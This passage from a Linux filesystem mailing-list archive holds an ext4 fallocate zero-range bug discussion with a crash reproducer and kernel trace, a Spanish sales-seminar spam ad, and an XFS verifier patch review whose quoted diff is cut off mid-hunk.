int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1KBGUkf012050 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Feb 2014 06:16:30 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1KBGQjp005353 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Feb 2014 06:16:28 -0500 Date: Thu, 20 Feb 2014 12:16:26 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dongsu Park cc: linux-ext4 , tytso , linux-fsdevel , xfs Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140219145239.GA14849@gmail.com> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-416043165-1392894989=:2245" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392894993 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --8323328-416043165-1392894989=:2245 Content-Type: TEXT/PLAIN; charset=UTF-8 Content-Transfer-Encoding: 8BIT On Wed, 19 Feb 2014, Dongsu Park wrote: > Date: Wed, 19 Feb 2014 16:51:23 +0100 > From: Dongsu Park > To: Lukáš Czerner > Cc: linux-ext4 , tytso , > linux-fsdevel , xfs > Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for > fallocate > > On Wed, Feb 19, 2014 at 4:18 PM, Lukáš Czerner wrote: > > On Wed, 19 Feb 2014, Dongsu Park wrote: > > Are you able to reproduce it ? Can you tell me the steps to > > reproduce this ? The problem is that the extent we're trying to mark > > as uninitialized has zero length.... > > > > Ah...I can probably see what is going on. For some inexplicable > > reason I am forgetting to take i_data_sem which means that we're > > probably racing with truncate or something else. > > > > Thanks a lot for letting me know and If you can please send me a > > reproducer for your case because as I said I have not seen this > > before. > > Yes, it's reliably reproducible. > What I'm doing for testing is quite simple, just like that: > (/dev/vdb is a test block device, 16GiB in size) > > # mke2fs -t ext4 /dev/vdb > # mkdir -p /mnt/test1 > # mount -t ext4 -o discard /dev/vdb /mnt/test1 > # dd if=/dev/urandom of=/mnt/test1/file1 bs=2G count=1 > # fallocate -z -l 2G /mnt/test1/file1 > > Then kernel crashes immediately. Oh, now I know where the problem really is. It's not about the locking at all. Initialized and Uninitialized extents have different maximum size. So we can not convert initialized extent of a maximum size to a uninitialized extent right away. We have to split. Thank you, your testing is very useful! -Lukas > > Cheers, > Dongsu > > > Thanks! > > -Lukas > > > > > > > > ------------[ cut here ]------------ > > > kernel BUG at fs/ext4/ext4_extents.h:193! > > > invalid opcode: 0000 [#1] SMP > > > Modules linked in: 9pnet_virtio virtio_net 9pnet virtio_blk virtio_pci > > > virtio_ring virtio > > > CPU: 2 PID: 2959 Comm: fallocate Not tainted 3.14.0-rc3+ #34 > > > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > > > task: ffff8800da97da10 ti: ffff880119068000 task.ti: ffff880119068000 > > > RIP: 0010:[] [] > > > ext4_ext_map_blocks+0x2899/0x2940 > > > RSP: 0018:ffff880119069c50 EFLAGS: 00010202 > > > RAX: 0000000000000003 RBX: ffff880036fa8470 RCX: 0000000000000002 > > > RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffff82120e98 > > > RBP: ffff880119069d30 R08: ffff88011975d900 R09: 011ad15618080000 > > > R10: fec72ef09c4d8602 R11: 0000000000008000 R12: ffff880119069dd0 > > > R13: 0000000000000403 R14: 0000000000000001 R15: ffff880118c6700c > > > FS: 00007fa54a0ba740(0000) GS:ffff88011fc40000(0000) > > > knlGS:0000000000000000 > > > CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > > > CR2: 0000003cdbf6f7e0 CR3: 0000000119077000 CR4: 00000000000006e0 > > > Stack: > > > 0000000000000000 0000000000008000 ffff880036fa86c8 0000000000000000 > > > ffff880100000000 0000800081384dee 0000000000000001 ffff880000000000 > > > 0000000000008800 0000000000000000 ffff880036f6f000 ffff88011975d900 > > > Call Trace: > > > [] ? ext4_es_insert_extent+0x15a/0x240 > > > [] ? ext4_find_delalloc_range+0x1e/0xb0 > > > [] ext4_map_blocks+0x25f/0x830 > > > [] ? ext4_alloc_file_blocks+0xc4/0x1e0 > > > [] ext4_alloc_file_blocks+0x13a/0x1e0 > > > [] ext4_zero_range+0x61f/0x870 > > > [] ext4_fallocate+0x4e3/0x6c0 > > > [] ? __sb_start_write+0x145/0x1a0 > > > [] ? kmem_cache_free+0x2f0/0x3f0 > > > [] ? final_putname+0x30/0x60 > > > [] do_fallocate+0x1e7/0x290 > > > [] SyS_fallocate+0x79/0xc0 > > > [] system_call_fastpath+0x16/0x1b > > > Code: ba dc 05 00 00 48 c7 c6 b0 91 c7 81 48 89 df 89 04 24 31 c0 e8 99 > > > 83 fe ff e9 f5 f8 ff ff 48 83 05 34 b3 f5 00 01 e9 0a db ff ff <0f> 0b > > > 0f 0b 0f 0b 0f 0b 45 89 d1 49 c7 c0 48 22 e5 81 31 > > > RIP [] ext4_ext_map_blocks+0x2899/0x2940 > > > RSP > > > ---[ end trace ba21204a3a98fbdc ]--- > > > > > > Regards, > > > Dongsu > > > > > > > I'll post the patches after we agree and merge the kernel functionality. > > > > > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > > > > > > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which > > > > touches the same area as this pach set does, so we should figure out > > > > which one should go first and modify the other on top of it. > > > > > > > > Thanks! > > > > -Lukas > > > > > > > > -- > > > > [PATCH 1/6] ext4: Update inode i_size after the preallocation > > > > [PATCH 2/6] ext4: refactor ext4_fallocate code > > > > [PATCH 3/6] ext4: translate fallocate mode bits to strings > > > > [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > > > [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > > > [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE > > > > > > > > fs/ext4/ext4.h | 3 + > > > > fs/ext4/extents.c | 430 ++++++++++++++++++++++++++++++++++++++++++++++++++++---------------- > > > > fs/ext4/inode.c | 17 ++- > > > > fs/open.c | 7 +- > > > > fs/xfs/xfs_file.c | 10 +- > > > > include/trace/events/ext4.h | 67 ++++++----- > > > > include/uapi/linux/falloc.h | 1 + > > > > 7 files changed, 393 insertions(+), 142 deletions(-) > > > > -- > > > > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > > > > the body of a message to majordomo@vger.kernel.org > > > > More majordomo info at http://vger.kernel.org/majordomo-info.html > > > > --8323328-416043165-1392894989=:2245-- From capaintegra@gmail.com Thu Feb 20 07:01:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.5 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, HTML_MESSAGE,SUBJ_ALL_CAPS,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 744C57FC0 for ; Thu, 20 Feb 2014 07:01:42 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 61FF58F8037 for ; Thu, 20 Feb 2014 05:01:39 -0800 (PST) X-ASG-Debug-ID: 1392901297-04cb6c6de1607660001-w1Z2WR Received: from mail-yh0-f65.google.com (mail-yh0-f65.google.com [209.85.213.65]) by cuda.sgi.com with ESMTP id bAcQl9Eu5Fw2yGDo (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 20 Feb 2014 05:01:37 -0800 (PST) X-Barracuda-Envelope-From: capaintegra@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.65 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.65] Received: by mail-yh0-f65.google.com with SMTP id z6so240826yhz.8 for ; Thu, 20 Feb 2014 05:01:37 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.65] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.65] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=wJPHcPoDLfOeM1BGYaK41iL/ghpyxTBEVdfTzajiKAg=; b=QfGalFUrQrlYxtxYmBc0F/fOjG9t1ACMTFdR5pd7MNimw8lXKr1Q5pOMt8udgSWEPi mrz6FnQMpMR+NEHyx+3K3x0BJczIiCyM4CL/wOrq0eB/IdbPnFkSdbmYwIJriECq+U/e L2cYWSEHVoB0WERDgxxbn6cDqDLxX5aCeHrfSnBcF/flKlQOTJry9WqJetmS8wfPRatB bkZHG26QoBiMjQcPI19pkXaWuCLUz8RrjmlI3hRTgnhgqkefEl2XB+808W2yvDh+imPN n0BeL5c8F3Iv5Qo5NlZP30cmSapAVn/ZsXIykCABdZqlof17/wgq7VGyCkh56ILGrVYq du1Q== MIME-Version: 1.0 X-Received: by 10.236.74.162 with SMTP id x22mr2701003yhd.131.1392901296989; Thu, 20 Feb 2014 05:01:36 -0800 (PST) Received: by 10.170.220.70 with HTTP; Thu, 20 Feb 2014 05:01:36 -0800 (PST) Date: Thu, 20 Feb 2014 11:01:36 -0200 Message-ID: Subject: =?ISO-8859-1?Q?=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS=22_=22PROM?= =?ISO-8859-1?Q?OCION_HASTA_EL_21_DE_FEBRERO=22?= From: Capacitacion Integral X-ASG-Orig-Subj: =?ISO-8859-1?Q?=22DIRECCI=D3N_Y_ADMINISTRACI=D3N_DE_VENTAS=22_=22PROM?= =?ISO-8859-1?Q?OCION_HASTA_EL_21_DE_FEBRERO=22?= To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=20cf3005140203bd4004f2d61b3e X-Barracuda-Connect: mail-yh0-f65.google.com[209.85.213.65] X-Barracuda-Start-Time: 1392901297 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.64 X-Barracuda-Spam-Status: No, SCORE=1.64 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145314 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 SUBJ_ALL_CAPS Subject is all capitals 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 --20cf3005140203bd4004f2d61b3e Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable CCIP *Centro De Capacitaci=F3n Integral Profesional* TIENE EL AGRADO DE INVITAR AL: SEMINARIO "DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS" Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad recurrente en la din=E1mica empresarial. A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso q= ue conduce a la ejecuci=F3n de los planes para transformarlos en resultados - = le corresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia. La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir el significado de su aporte a la organizaci=F3n y su contribuci=F3= n a las metas globales. El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al estilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas. Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion=E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e innovaci=F3n que impone un medio en el que el cambio es permanente. Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a hacerlo en un futuro inmediato, ejecutivos y supervisores de venta. CONTENIDO PROGRAMATICO: * LAS VENTAS HOY * ENFOQUES ADMINISTRATIVOS * =BFES IMPORTANTE EL CLIENTE? * PROCESO DE LA COMPRA Y VENTA * T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE * ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS * AN=C1LISIS OPORTUNIDADES DEL MERCADO * AN=C1LISIS DE LAS VENTAS * RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS * EL SERVICIO Y LAS VENTAS * EL DESEMPE=D1O DEL VENDEDOR * COMPENSACI=D3N E INCENTIVOS * PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N *COCHABAMBA* *CAMARA DE COMERCIO* Fecha: 13 y 14 de Marzo Horario: 19:00 a 22:00 *TARIJA* *Gran Hotel Tarija* Fecha: 10 y 11 de Marzo Horario: 19:00 a 22:00 COSTO: Bs. 250.- Hasta el 28 de febrero "*PROMOCION Bs 200.- HASTA EL 21 DE FEBRERO"* Bs. 300 hasta el d=EDa del evento Precios especiales a grupos de 3 o m=E1s participantes DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit. Cta. En bs. N=BA 3001-01-205806-1 INFORMES Y RESERVAS: TELEFONOS: 70643311-79511480 CONFIRMAR A: deccip@gmail.com El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo --20cf3005140203bd4004f2d61b3e Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

CCIP Centro De Capacitaci=F3n I= ntegral Profesional

TIENE EL AGRADO DE INVITAR AL:

SEMINARIO “DIRECCI=D3N Y ADMINISTRACI=D3N DE VENTAS”

Fortalecer las habilidades de liderazgo permanente es en la actualidad una necesidad r= ecurrente en la din=E1mica empresarial.

A la direcci=F3n y administraci=F3n de ventas - entendida como un proceso que co= nduce a la ejecuci=F3n de los planes para transformarlos en resultados – le c= orresponde difundir y hacer realidad las estrategias adoptadas por la empresa, desarrollando la habilidad para responder en cada momento con flexibilidad, creatividad y eficiencia.

La efectividad s=F3lo se hace posible si los dirigidos son capaces de percibir= el significado de su aporte a la organizaci=F3n y su contribuci=F3n a las meta= s globales.

El manejo de informaci=F3n, el an=E1lisis de problemas, el empowerment, la comunicaci=F3n efectiva, la innovaci=F3n y el reconocimiento dan forma al e= stilo de direcci=F3n de ventas que aspiran a desarrollar las empresas modernas.

 

Objetivo: Presentar una visi=F3n sistem=E1tica del rol directivo en ventas, relacion= =E1ndolo con los requerimientos de competitividad, motivaci=F3n, flexibilidad e inno= vaci=F3n que impone un medio en el que el cambio es permanente.

 

Dirigido a: Personas que realicen funciones comerciales directivas o que aspiran a hacerlo en un futuro inmediato, ejecutivos y supervisores de venta.<= /p>

CONTENIDO PROGRAMATICO:

 

•    &nbs= p;      LAS VENTAS HOY

•    &nbs= p;      ENFOQUES ADMINISTRATIVOS

•    &nbs= p;      =BFES IMPORTANTE EL CLIENTE?

•    &nbs= p;      PROCESO DE LA COMPRA Y VENTA

•    &nbs= p;      T=C9CNICAS DE RELACIONAMIENTO CON EL CLIENTE

•    &nbs= p;      ORGANIZACI=D3N Y ESTRUCTURAS DEL EQUIPO DE VENTAS

•    &nbs= p;      AN=C1LISIS OPORTUNIDADES DEL MERCADO

•    &nbs= p;      AN=C1LISIS DE LAS VENTAS

•    &nbs= p;      RESPONSABILIDAD DE LA PROFESI=D3N DE VENTAS

•    &nbs= p;      EL SERVICIO Y LAS VENTAS

•    &nbs= p;      EL DESEMPE=D1O DEL VENDEDOR

•    &nbs= p;      COMPENSACI=D3N E INCENTIVOS

•    &nbs= p;      PROCEDIMIENTO PARA DISE=D1O PROGRAMA DE COMPENSACI=D3N

 

COCHABAMBA

CAMARA DE COMERCIO

Fecha: 13 y 14 de Marzo

Horario: 19:00 a 22:00

 

 

TARIJA

Gran Hotel Tarija

Fecha: 10 y 11 de Marzo

Horario: 19:00 a 22:00

 

COSTO: Bs. 250.- Hasta el 28 de febrero “PROMOCION Bs 200.- HASTA EL 21 DE FEBRERO”

Bs. 300 hasta el d=EDa del evento

Precios especiales a grupos de 3 o m=E1s participantes

DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit.

Cta. En bs. N=BA 3001-01-205806-1

 INFORMES Y RESERVAS: TELEFON= OS: 70643311–79511480

CONFIRMAR  A:  &nbs= p;  deccip@gmail.com

El importe Incluye refrigerios, material did=E1ctico y diploma acreditativo

 

--20cf3005140203bd4004f2d61b3e-- From bfoster@redhat.com Thu Feb 20 07:10:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9E5127FC0 for ; Thu, 20 Feb 2014 07:10:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 061D1AC003 for ; Thu, 20 Feb 2014 05:10:16 -0800 (PST) X-ASG-Debug-ID: 1392901814-04cb6c6de0607fe0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 5j894nA9rZqtB8re for ; Thu, 20 Feb 2014 05:10:15 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1KDABJb015923 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Feb 2014 08:10:13 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1KDA3QB020297; Thu, 20 Feb 2014 08:10:03 -0500 Message-ID: <5305FEAA.702@redhat.com> Date: Thu, 20 Feb 2014 08:10:02 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 9/9 V2] xfs: modify verifiers to differentiate CRC from other errors References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-10-git-send-email-sandeen@redhat.com> <53057208.3010308@sandeen.net> X-ASG-Orig-Subj: Re: [PATCH 9/9 V2] xfs: modify verifiers to differentiate CRC from other errors In-Reply-To: <53057208.3010308@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392901814 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/19/2014 10:10 PM, Eric Sandeen wrote: > Modify all read & write verifiers to differentiate > between CRC errors and other inconsistencies. > > This sets the appropriate error number on bp->b_error, > and then calls xfs_verifier_error() if something went > wrong. That function will issue the appropriate message > to the user. > > Signed-off-by: Eric Sandeen > --- > Looks good to me, thanks Eric. Reviewed-by: Brian Foster > V2: Fix inexplicably lost XFS_*_CRC_OFF macros, and > rework xfs_agi_read_verify() to be similar to other > verifiers, per Brian's review > > diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c > index 9c7cf3d..c1cf6a3 100644 > --- a/fs/xfs/xfs_alloc.c > +++ b/fs/xfs/xfs_alloc.c > @@ -474,7 +474,6 @@ xfs_agfl_read_verify( > struct xfs_buf *bp) > { > struct xfs_mount *mp = bp->b_target->bt_mount; > - int agfl_ok = 1; > > /* > * There is no verification of non-crc AGFLs because mkfs does not > @@ -485,14 +484,13 @@ xfs_agfl_read_verify( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return; > > - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); > - > - agfl_ok = agfl_ok && xfs_agfl_verify(bp); > - > - if (!agfl_ok) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (!xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_agfl_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -507,8 +505,8 @@ xfs_agfl_write_verify( > return; > > if (!xfs_agfl_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > @@ -2236,18 +2234,17 @@ xfs_agf_read_verify( > struct xfs_buf *bp) > { > struct xfs_mount *mp = bp->b_target->bt_mount; > - int agf_ok = 1; > - > - if (xfs_sb_version_hascrc(&mp->m_sb)) > - agf_ok = xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF); > > - agf_ok = agf_ok && xfs_agf_verify(mp, bp); > - > - if (unlikely(XFS_TEST_ERROR(!agf_ok, mp, XFS_ERRTAG_ALLOC_READ_AGF, > - XFS_RANDOM_ALLOC_READ_AGF))) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_AGF_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (XFS_TEST_ERROR(!xfs_agf_verify(mp, bp), mp, > + XFS_ERRTAG_ALLOC_READ_AGF, > + XFS_RANDOM_ALLOC_READ_AGF)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > static void > @@ -2258,8 +2255,8 @@ xfs_agf_write_verify( > struct xfs_buf_log_item *bip = bp->b_fspriv; > > if (!xfs_agf_verify(mp, bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c > index 144d3b0..cc1eadc 100644 > --- a/fs/xfs/xfs_alloc_btree.c > +++ b/fs/xfs/xfs_alloc_btree.c > @@ -355,12 +355,14 @@ static void > xfs_allocbt_read_verify( > struct xfs_buf *bp) > { > - if (!(xfs_btree_sblock_verify_crc(bp) && > - xfs_allocbt_verify(bp))) { > - trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > + if (!xfs_btree_sblock_verify_crc(bp)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_allocbt_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > + > + if (bp->b_error) { > + trace_xfs_btree_corrupt(bp, _RET_IP_); > + xfs_verifier_error(bp); > } > } > > @@ -370,9 +372,8 @@ xfs_allocbt_write_verify( > { > if (!xfs_allocbt_verify(bp)) { > trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > xfs_btree_sblock_calc_crc(bp); > diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c > index b552378..fe9587f 100644 > --- a/fs/xfs/xfs_attr_leaf.c > +++ b/fs/xfs/xfs_attr_leaf.c > @@ -213,8 +213,8 @@ xfs_attr3_leaf_write_verify( > struct xfs_attr3_leaf_hdr *hdr3 = bp->b_addr; > > if (!xfs_attr3_leaf_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > > @@ -239,12 +239,14 @@ xfs_attr3_leaf_read_verify( > { > struct xfs_mount *mp = bp->b_target->bt_mount; > > - if ((xfs_sb_version_hascrc(&mp->m_sb) && > - !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) || > - !xfs_attr3_leaf_verify(bp)) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > + if (xfs_sb_version_hascrc(&mp->m_sb) && > + !xfs_buf_verify_cksum(bp, XFS_ATTR3_LEAF_CRC_OFF)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_attr3_leaf_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > - } > + > + if (bp->b_error) > + xfs_verifier_error(bp); > } > > const struct xfs_buf_ops xfs_attr3_leaf_buf_ops = { > diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c > index 5549d69..6e37823 100644 > --- a/fs/xfs/xfs_attr_remote.c > +++ b/fs/xfs/xfs_attr_remote.c > @@ -125,7 +125,6 @@ xfs_attr3_rmt_read_verify( > struct xfs_mount *mp = bp->b_target->bt_mount; > char *ptr; > int len; > - bool corrupt = false; > xfs_daddr_t bno; > > /* no verification of non-crc buffers */ > @@ -140,11 +139,11 @@ xfs_attr3_rmt_read_verify( > while (len > 0) { > if (!xfs_verify_cksum(ptr, XFS_LBSIZE(mp), > XFS_ATTR3_RMT_CRC_OFF)) { > - corrupt = true; > + xfs_buf_ioerror(bp, EFSBADCRC); > break; > } > if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { > - corrupt = true; > + xfs_buf_ioerror(bp, EFSCORRUPTED); > break; > } > len -= XFS_LBSIZE(mp); > @@ -152,10 +151,9 @@ xfs_attr3_rmt_read_verify( > bno += mp->m_bsize; > } > > - if (corrupt) { > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > - xfs_buf_ioerror(bp, EFSCORRUPTED); > - } else > + if (bp->b_error) > + xfs_verifier_error(bp); > + else > ASSERT(len == 0); > } > > @@ -180,9 +178,8 @@ xfs_attr3_rmt_write_verify( > > while (len > 0) { > if (!xfs_attr3_rmt_verify(mp, ptr, XFS_LBSIZE(mp), bno)) { > - XFS_CORRUPTION_ERROR(__func__, > - XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > + xfs_verifier_error(bp); > return; > } > if (bip) { > diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c > index 706bc3f..818d546 100644 > --- a/fs/xfs/xfs_bmap_btree.c > +++ b/fs/xfs/xfs_bmap_btree.c > @@ -780,12 +780,14 @@ static void > xfs_bmbt_read_verify( > struct xfs_buf *bp) > { > - if (!(xfs_btree_lblock_verify_crc(bp) && > - xfs_bmbt_verify(bp))) { > - trace_xfs_btree_corrupt(bp, _RET_IP_); > - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, > - bp->b_target->bt_mount, bp->b_addr); > + if (!xfs_btree_lblock_verify_crc(bp)) > + xfs_buf_ioerror(bp, EFSBADCRC); > + else if (!xfs_bmbt_verify(bp)) > xfs_buf_ioerror(bp, EFSCORRUPTED); > + > + if (bp->b_error) { > + trace_xfs_btree_corrupt(bp, _RET_IP_); > + 